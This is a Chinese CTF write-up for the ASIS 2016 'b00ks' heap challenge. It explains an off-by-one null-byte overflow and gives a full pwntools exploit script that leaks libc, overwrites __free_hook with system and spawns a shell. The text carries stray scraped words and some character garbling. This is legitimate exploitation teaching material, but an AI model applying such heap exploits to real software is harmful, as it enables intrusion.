Asis_2016_b00ks wp

程序基本信息

程序漏洞

有一個讀入函數,程序的全部輸入都靠它讀取,這個程序有個很明顯的off_by_one漏洞,在輸入時多輸入一個0字符。shell

利用思路

程序開始運行時首先要求輸入authorname,而這個輸入保存在bss段0x0000559C506F3040處函數

程序有建立函數能夠分別給book_name與book_descrption建立堆保存內容,並還會建立一個book的堆來保存name和descrption的指針。
debug

book的指針保存在bss段0x0000559C506F3060處,距離authorname的保存位置有0x20個字節。
指針

攻擊步驟:
一、首先authorname輸入0x20個字節,讓多的一個0覆蓋0x0000559C506F3060的最低位,也就是第一個book指針的最低位。
二、而後建立一個book1,book1的指針會把最低位的0覆蓋掉,同時authorname與book1指針直接連在一塊兒,沒有\x00相隔,因此咱們打印處authorname的時候就可泄露出book1的地址。(這裏要把descrption堆的地址調成book1地址末位被0覆蓋的地址,好比說book1地址爲0x00007812,那descrption的地址要佈置成0x00007810)
三、建立一個book2,同時咱們僞造一個book結構,經過編輯函數把這個book結構寫入book1的descrption中,注意僞造的book要算好book1與book2之間的偏移,讓僞造book的name和decrption指向book2的name和decrption。
四、修改authorname輸入0x20個字節,讓多一個0覆蓋掉book1指針的最低位,至關於此時book1的指針指向book1的descrption。
五、這樣咱們經過打印book1的name和descrption便可泄露出book2的name與descrpiton地址。
六、libc與book1descrption之間爲固定偏移,由此咱們能夠得到libc基址、system函數地址、free_hook地址。
七、編輯book1的descrption,讓book2的descrption指向free_hook,編輯book2的descrption,讓free_hook的值爲system函數地址。
八、建立一個堆寫入"/bin/sh\x00",釋放這個堆,運行system(「/bin/sh/x00")便可getshell。code

exp腳本

我一開始用one_gadget沒有打通,本機對全部one_gadget的限制條件都不知足,因此後來換成system的方式來getshell。blog

from pwn import *

context.log_level="info"
#context.log_level='debug'
binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")


def createbook(name_size,name,des_size,des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
        book_id=int(io.readline()[:-1])
        io.readuntil(": ")
        book_name=io.readline()[:-1]
        io.readuntil(": ")
        book_des=io.readline()[:-1]
        io.readuntil(": ")
        book_author=io.readline()[:-1]
    return book_id,book_name,book_des,book_author

def createname(name):
    io.readuntil("name: ")
    io.sendline(name)

def changename(name):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil(": ")
    io.sendline(name)

def editbook(book_id,new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.writeline(str(book_id))
    io.readuntil(": ")
    io.sendline(new_des)

def deletebook(book_id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(book_id))

createname("A"*32)
createbook(128,"a",32,"a")
createbook(0x21000,"aaaa",0x21000,"bbbb")
#gdb.attach(io)

book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload)
changename("A"*32)

#gdb.attach(io)

book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,"\x00"))
book2_des_addr=u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))
libc_base=book2_des_addr + 0x43ff0
log.success("libc base:"+hex(libc_base))

free_hook=libc_base+libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols['system']
one_gadget=libc_base + 0xe666b

log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
log.success('system:'+hex(system_addr))

editbook(1,p64(free_hook)*2)
editbook(2,p64(system_addr))

createbook(8,'/bin/sh\x00',8,'/bin/sh\x00')
#gdb.attach(io) 
deletebook(3)

io.interactive()

參考

pwn堆入門系列教程1
ctfwiki 堆中的Off-By-One教程

相關文章
相關標籤/搜索